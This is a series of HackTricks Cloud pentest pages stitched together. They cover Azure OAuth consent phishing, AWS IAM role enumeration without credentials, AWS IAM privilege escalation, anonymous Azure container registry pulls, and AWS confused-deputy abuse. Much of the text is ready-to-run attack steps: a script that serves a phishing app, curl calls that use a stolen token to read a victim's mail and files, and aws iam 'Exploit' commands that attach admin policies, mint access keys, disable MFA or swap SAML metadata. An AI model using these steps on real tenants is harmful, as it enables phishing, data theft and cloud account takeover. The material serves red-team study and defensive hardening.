submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - OAuth Apps Phishing - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 8 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. **Azure Applications** are configured with the permissions they will be able to use when a user consents the application (like enumerating the directory, access files, or perform other actions). Note, that the application will be having on behalf of the user, so even if the app could be asking for administration permissions, if the **user consenting it doesn't have that permission**, the app **won't be able to perform administrative actions**. By default any **user can give consent to apps**, although this can be configured so users can only consent to **apps from verified publishers for selected permissions** or to even **remove the permission** for users to consent to applications. ![](../../../images/image.png) If users cannot consent, **admins** like `GA`, `Application Administrator` or `Cloud Application` `Administrator` can **consent the applications** that users will be able to use. Moreover, if users can consent only to apps using **low risk** permissions, these permissions are by default **openid**, **profile**, **email**, **User.Read** and **offline\_access**, although it's possible to **add more** to this list. nd if they can consent to all apps, they can consent to all apps. * **Unauthenticated**: From an external account create an application with the **low risk permissions** `User.Read` and `User.ReadBasic.All` for example, phish a user, and you will be able to access directory information. * This requires the phished user to be **able to accept OAuth apps from external tenant** * If the phised user is an some admin that can **consent any app with any permissions**, the application could also **request privileged permissions** * **Authenticated**: Having compromised a principal with enough privileges, **create an application inside the account** and **phish** some **privileged** user which can accept privileged OAuth permissions. * In this case you can already access the info of the directory, so the permission `User.ReadBasic.All` isn't no longer interesting. * You are probable interested in **permissions that require and admin to grant them**, because raw user cannot give OAuth apps any permission, thats why you need to **phish only those users** (more on which roles/permissions grant this privilege later) Note that you need to execute this command from a user inside the tenant, you cannot find this configuration of a tenant from an external one. The following cli can help you understand the users permissions: bash az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy" * Users can consent to all apps: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` then users can to accept every application. * Users can consent to apps from verified publishers or your organization, but only for permissions you select: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users can to accept every application. * **Disable user consent**: If inside **`permissionGrantPoliciesAssigned`** you can only find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` and `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users cannot consent any. It's possible to find the meaning of each of the commented policies in: bash az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies" Check users that are considered application admins (can accept new applications): bash # Get list of roles az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles" # Get Global Administrators az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members" # Get Application Administrators az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members" # Get Cloud Applications Administrators az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members" The attack involves several steps targeting a generic company. Here's how it might unfold: 1. **Domain Registration and Application Hosting**: The attacker registers a domain resembling a trustworthy site, for example, "safedomainlogin.com". Under this domain, a subdomain is created (e.g., "companyname.safedomainlogin.com") to host an application designed to capture authorization codes and request access tokens. 2. **Application Registration in Azure AD**: The attacker then registers a Multi-Tenant Application in their Azure AD Tenant, naming it after the target company to appear legitimate. They configure the application's Redirect URL to point to the subdomain hosting the malicious application. 3. **Setting Up Permissions**: The attacker sets up the application with various API permissions (e.g., `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`). These permissions, once granted by the user, allow the attacker to extract sensitive information on behalf of the user. 4. **Distributing Malicious Links**: The attacker crafts a link containing the client id of the malicious application and shares it with targeted users, tricking them into granting consent. 1. Register a **new application**. It can be only for the current directory if you are using an user from the attacked directory or for any directory if this is an external attack (like in the following image). 1. Also set the **redirect URI** to the expected URL where you want to receive the code to the get tokens (`http://localhost:8000/callback` by default). ![](../../../images/image (1).png) 2. Then create an application secret: ![](../../../images/image (2).png) 3. Select API permissions (e.g. `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read)` ![](../../../images/image (3).png) 4. **Execute the web page (**[**azure\_oauth\_phishing\_example**](https://github.com/carlospolop/azure_oauth_phishing_example) **)** that asks for the permissions: bash # From https://github.com/carlospolop/azure_oauth_phishing_example python3 azure_oauth_phishing_example.py --client-secret --client-id --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read" 5. **Send the URL to the victim** 1. In this case `http://localhost:8000` 6. **Victims** needs to **accept the prompt:** ![](../../../images/image (4).png) 7. Use the **access token to access the requested permissions**: bash export ACCESS_TOKEN= # List drive files curl -X GET \ https://graph.microsoft.com/v1.0/me/drive/root/children \ -H "Authorization: Bearer $ACCESS_TOKEN" \ -H "Accept: application/json" # List eails curl -X GET \ https://graph.microsoft.com/v1.0/me/messages \ -H "Authorization: Bearer $ACCESS_TOKEN" \ -H "Accept: application/json" # List notes curl -X GET \ https://graph.microsoft.com/v1.0/me/onenote/notebooks \ -H "Authorization: Bearer $ACCESS_TOKEN" \ -H "Accept: application/json" * [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer) **:** Check [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) to learn how to configure it. * [**O365-Attack-Toolkit**](https://github.com/mdsecactivebreach/o365-attack-toolkit) Depending on the requested permissions you might be able to **access different data of the tenant** (list users, groups... or even modify settings) and **information of the user** (files, notes, emails...). Then, you can use these permissions to perform those actions. If you managed to compromise somehow an Entra ID principal that can manage Applications in Entra ID, and there are applications that are being used by users of the tenant. An admin would be able to **modify the permissions the app is requesting and add a new allowed redirect address to steal the tokens**. * Note that it’s possible to **add redirect URIs** (no need to delete the real one) and then send a HTTP link using the attackers redirect URI so when the user follows the link the authentication occurs automatically and the attacker receives the token. * It’s also possible to change the permissions the app asks for in order to get more permission from the users, but in that case the user will need to **accept again the prompt** (even if he was already logged in). * To perform this attack the attacker **DOESN'T NEED** to control the application code as he could just send the link to login in the app to the user with the new URL in the **`redirect_uri`** parameter. Check the Applications and Service Principal sections of the page: [Az - EntraID Privesc](../az-privilege-escalation/az-entraid-privesc/index.html) * [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) * [https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - IAM & STS Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 5 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. caution **This technique doesn't work** anymore as if the role exists or not you always get this error: `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` You can **test this running**: `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return: ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**: less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations. You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided. warning Note that in that resource you could specify a cross account role or user: * `arn:aws:iam::acc_id:role/role_name` * `arn:aws:iam::acc_id:user/user_name` This is a policy example: json { "Version": "2012-10-17", "Statement": [\ {\ "Effect": "Allow",\ "Principal": {\ "AWS": "arn:aws:iam::216825089941:role/Test"\ },\ "Action": "sts:AssumeRole"\ }\ ] } That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating) ![](../../../images/image%20(153).png) bash ### You could also use: aws iam update-assume-role-policy # When it works aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json { "Role": { "Path": "/", "RoleName": "Test-Role", "RoleId": "AROA5ZDCUJS3DVEIYOB73", "Arn": "arn:aws:iam::947247140022:role/Test-Role", "CreateDate": "2022-05-03T20:50:04Z", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [\ {\ "Effect": "Allow",\ "Principal": {\ "AWS": "arn:aws:iam::316584767888:role/account-balance"\ },\ "Action": [\ "sts:AssumeRole"\ ]\ }\ ] } } } # When it doesn't work aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" You can automate this process with [https://github.com/carlospolop/aws\_tools](https://github.com/carlospolop/aws_tools) * `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu) : * `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` * `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` * The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration In the case the role was bad configured an allows anyone to assume it: json { "Version": "2012-10-17", "Statement": [\ {\ "Effect": "Allow",\ "Principal": {\ "AWS": "*"\ },\ "Action": "sts:AssumeRole"\ }\ ] } The attacker could just assume it. Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**. This trust might give access to a role with the following **trust policy**: json { "Version": "2012-10-17", "Statement": [\ {\ "Effect": "Allow",\ "Principal": {\ "Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com"\ },\ "Action": "sts:AssumeRoleWithWebIdentity",\ "Condition": {\ "StringEquals": {\ "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"\ }\ }\ }\ ] } This trust policy might be correct, but the **lack of more conditions** should make you distrust it. This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach... Another potential misconfiguration is to **add a condition** like the following: json "StringLike": { "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org\_name1** and **assume the role** from a Github Action. * [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) * [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - IAM Privesc - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 7 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more info about IAM check: [AWS - IAM, Identity Center & SSO Enum](../aws-services/aws-iam-enum.html) Grants the ability to create a new IAM policy version, bypassing the need for `iam:SetDefaultPolicyVersion` permission by using the `--set-as-default` flag. This enables defining custom permissions. **Exploit Command:** bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default **Impact:** Directly escalates privileges by allowing any action on any resource. Allows changing the default version of an IAM policy to another existing version, potentially escalating privileges if the new version has more permissions. **Bash Command:** bash aws iam set-default-policy-version --policy-arn --version-id v2 **Impact:** Indirect privilege escalation by enabling more permissions. Enables creating access key ID and secret access key for another user, leading to potential privilege escalation. **Exploit:** bash aws iam create-access-key --user-name **Impact:** Direct privilege escalation by assuming another user's extended permissions. Permits creating or updating a login profile, including setting passwords for AWS console login, leading to direct privilege escalation. **Exploit for Creation:** bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' **Exploit for Update:** bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' **Impact:** Direct privilege escalation by logging in as "any" user. Allows enabling a disabled access key, potentially leading to unauthorized access if the attacker possesses the disabled key. **Exploit:** bash aws iam update-access-key --access-key-id --status Active --user-name **Impact:** Direct privilege escalation by reactivating access keys. Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user. **Exploit for Creation:** bash aws iam create-service-specific-credential --user-name --service-name **Exploit for Reset:** bash aws iam reset-service-specific-credential --service-specific-credential-id **Impact:** Direct privilege escalation within the user's service permissions. Allows attaching policies to users or groups, directly escalating privileges by inheriting the permissions of the attached policy. **Exploit for User:** bash aws iam attach-user-policy --user-name --policy-arn "" **Exploit for Group:** bash aws iam attach-group-policy --group-name --policy-arn "" **Impact:** Direct privilege escalation to anything the policy grants. Permits attaching or putting policies to roles, users, or groups, enabling direct privilege escalation by granting additional permissions. **Exploit for Role:** bash aws iam attach-role-policy --role-name --policy-arn "" **Exploit for Inline Policies:** bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" aws iam put-group-policy --group-name --policy-name "" \ --policy-document file:///path/to/policy.json aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json You can use a policy like: json { "Version": "2012-10-17", "Statement": [\ {\ "Effect": "Allow",\ "Action": ["*"],\ "Resource": ["*"]\ }\ ] } **Impact:** Direct privilege escalation by adding permissions through policies. Enables adding oneself to an IAM group, escalating privileges by inheriting the group's permissions. **Exploit:** bash aws iam add-user-to-group --group-name --user-name **Impact:** Direct privilege escalation to the level of the group's permissions. Allows altering the assume role policy document of a role, enabling the assumption of the role and its associated permissions. **Exploit:** bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json Where the policy looks like the following, which gives the user permission to assume the role: json { "Version": "2012-10-17", "Statement": [\ {\ "Effect": "Allow",\ "Action": "sts:AssumeRole",\ "Principal": {\ "AWS": "$USER_ARN"\ }\ }\ ] } **Impact:** Direct privilege escalation by assuming any role's permissions. Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation. **Exploit for SSH Key Upload:** bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body **Exploit for MFA Deactivation:** bash aws iam deactivate-mfa-device --user-name --serial-number **Impact:** Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection. Allows resynchronization of an MFA device, potentially leading to indirect privilege escalation by manipulating MFA protection. **Bash Command:** bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 **Impact:** Indirect privilege escalation by adding or manipulating MFA devices. With these permissions you can **change the XML metadata of the SAML connection**. Then, you could abuse the **SAML federation** to **login** with any **role that is trusting** it. Note that doing this **legit users won't be able to login**. However, you could get the XML, so you can put yours, login and configure the previous back bash # List SAMLs aws iam list-saml-providers # Optional: Get SAML provider XML aws iam get-saml-provider --saml-provider-arn # Update SAML provider aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ## Login impersonating roles that trust the SAML provider # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn note TODO: A Tool capable of generating the SAML metadata and login with a specified role (Unsure about this) If an attacker has these **permissions** he could add a new **Thumbprint** to manage to login in all the roles trusting the provider. bash # List providers aws iam list-open-id-connect-providers # Optional: Get Thumbprints used to not delete them aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 * [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Container Registry Unauth - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information about conteiner registry check: [Az - Container Registry](../az-services/az-container-registry.html) It's possible to **allow anonymous pull access to images** inside a registry. bash # Authorize anonymous pulls az acr update --name --anonymous-pull-enabled true Then, **anyone knowing the registry name** can pull images from `.azurecr.io`. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - IAM Post Exploitation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 3 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information about IAM access: [AWS - IAM, Identity Center & SSO Enum](../aws-services/aws-iam-enum.html) If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**. Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**. ![](../../../images/image (95).png) However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**. Example: json { "Version": "2012-10-17", "Statement": { "Effect": "Allow", "Principal": { "AWS": "Example Corp's AWS Account ID" }, "Action": "sts:AssumeRole", "Condition": { "StringEquals": { "sts:ExternalId": "12345" } } } } warning For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts. json { "Action": "sts:AssumeRole", "Effect": "Allow", "Principal": { "AWS": "*" } } This policy **allows all AWS** to assume the role. json { "Action": "lambda:InvokeFunction", "Effect": "Allow", "Principal": { "Service": "apigateway.amazonaws.com" }, "Resource": "arn:aws:lambda:000000000000:function:foo" } This policy **allows any account** to configure their apigateway to call this Lambda. json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, "StringEquals": { "aws:SourceAccount": "123456789012" } } If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this. json { "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Action": "s3:PutObject", "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources). * [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - IAM Persistence - HackTricks Cloud 